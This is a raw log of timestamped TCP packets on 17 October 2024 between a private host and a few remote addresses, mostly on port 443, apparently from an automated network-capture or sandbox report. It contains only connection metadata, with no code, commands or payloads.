Oct 17, 2024 18:18:47.722296953 CEST	443	51442	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.738106012 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.738169909 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.738229036 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.745887995 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.745925903 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.767620087 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.768127918 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.768151999 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.768990040 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.769001961 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.832994938 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.836549044 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.836575985 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.836983919 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.836992025 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.908432007 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.908590078 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.908771038 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.949543953 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.949583054 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.949601889 CEST	51457	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.949609041 CEST	443	51457	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.974180937 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.975589037 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.975639105 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.975702047 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.980600119 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.980633974 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.980690002 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.980693102 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.980726957 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.993331909 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.993360996 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.993768930 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.993776083 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.994066000 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.994081974 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.994820118 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.994857073 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:47.994875908 CEST	51461	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:47.994884014 CEST	443	51461	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.012630939 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.012680054 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.012752056 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.013114929 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.013125896 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.126200914 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.126415014 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.126529932 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.152739048 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.152777910 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.152795076 CEST	51473	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.152801037 CEST	443	51473	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.186570883 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.186614990 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.186698914 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.191083908 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.191097975 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.597179890 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.613764048 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.613795042 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.614237070 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.614243031 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.863676071 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.876574039 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:48.883570910 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.883594036 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.884080887 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.884088993 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.885713100 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:48.885829926 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:48.887744904 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:48.897398949 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:48.991970062 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.992058039 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.992218018 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.993964911 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:48.998106956 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.998138905 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:48.998153925 CEST	51495	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:48.998161077 CEST	443	51495	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.001760960 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.002260923 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.002706051 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.006660938 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.012116909 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.012142897 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.012598038 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.012607098 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.014106989 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.014130116 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.014487982 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.014492989 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.014730930 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.014748096 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.015140057 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.015146971 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.017237902 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.017275095 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.017374992 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.017467022 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.017474890 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.027061939 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.027142048 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.027230024 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.033950090 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.033968925 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.033979893 CEST	51508	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.033984900 CEST	443	51508	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.046119928 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.046175003 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.046247005 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.046494961 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.046506882 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.119803905 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.128108025 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.149019003 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.149094105 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.149245024 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.154017925 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.154036045 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.154056072 CEST	51522	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.154061079 CEST	443	51522	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.156081915 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.156694889 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.156725883 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.156776905 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.156907082 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.156945944 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.157027960 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.157040119 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.157061100 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.157120943 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.160223961 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.160233974 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.160244942 CEST	51517	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.160249949 CEST	443	51517	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.167057037 CEST	50951	80	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:49.167491913 CEST	51538	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.167515039 CEST	443	51538	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.192455053 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.192508936 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.192581892 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.193099976 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.193125963 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.193455935 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.199191093 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.199214935 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.199341059 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.199352026 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.200153112 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.200185061 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.200586081 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.201015949 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.201033115 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.258186102 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.266701937 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.393287897 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.403057098 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.516905069 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.523715019 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.668225050 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.829566002 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.829628944 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.829767942 CEST	51594	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:49.831242085 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.838634968 CEST	19370	51594	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:49.985997915 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.986282110 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.986358881 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.986365080 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.986376047 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.990003109 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.990024090 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.990541935 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.990546942 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.990783930 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.990813017 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.991105080 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.991110086 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.991271019 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.991276979 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.991594076 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.991597891 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.991899967 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.991921902 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.992268085 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.992270947 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.992471933 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.992542028 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:49.992763996 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:49.992772102 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.130717993 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.130793095 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.131042004 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.131711006 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.131906986 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.131963015 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.135245085 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.135469913 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.135514975 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.136921883 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.137223005 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.137289047 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.138395071 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.138514996 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.138622046 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.160262108 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.160295010 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.160310984 CEST	51605	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.160317898 CEST	443	51605	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.161773920 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.161792994 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.161792994 CEST	51602	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.161798000 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.161811113 CEST	51619	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.161813021 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.161817074 CEST	443	51619	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.161825895 CEST	443	51602	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.167352915 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.167361021 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.167372942 CEST	51616	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.167376995 CEST	443	51616	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.175065994 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.175106049 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.175132990 CEST	51617	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.175141096 CEST	443	51617	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.187627077 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.187670946 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.187756062 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.194545984 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.194593906 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.194653988 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.195713997 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.195748091 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.195813894 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.196024895 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.196043015 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.197026014 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.197057962 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.197315931 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.197446108 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.197457075 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.198363066 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.198379040 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.199069023 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.199307919 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.199318886 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.206980944 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.207017899 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.207083941 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.207103014 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.961476088 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.964945078 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.968560934 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.968585968 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.969016075 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.969026089 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.970236063 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.970911980 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.970940113 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.971774101 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.971780062 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.975197077 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.975229979 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.975605965 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.975611925 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.981630087 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.982120991 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.982141018 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.982623100 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.982629061 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.991966963 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.992683887 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.992702961 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:50.993287086 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:50.993293047 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.099545956 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.099751949 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.099809885 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.105421066 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.105456114 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.105459929 CEST	51671	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.105468035 CEST	443	51671	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.109508991 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.109559059 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.109628916 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.109906912 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.110299110 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.110363960 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112287998 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112313032 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112473011 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112498045 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112519026 CEST	51674	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112524986 CEST	443	51674	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112559080 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112718105 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112782001 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112852097 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112870932 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.112883091 CEST	51670	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.112889051 CEST	443	51670	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.126626968 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.126697063 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.126791000 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.132322073 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.132365942 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.132427931 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.132608891 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.132617950 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.133687019 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.133709908 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.133723021 CEST	51673	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.133728027 CEST	443	51673	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.138766050 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.138865948 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.138992071 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.139055014 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.145426989 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.145441055 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.145457983 CEST	51672	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.145462990 CEST	443	51672	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.146414995 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.146447897 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.146507978 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.152848959 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.152884960 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.152961969 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.156166077 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.156188965 CEST	443	51687	13.107.246.45	192.168.2.6
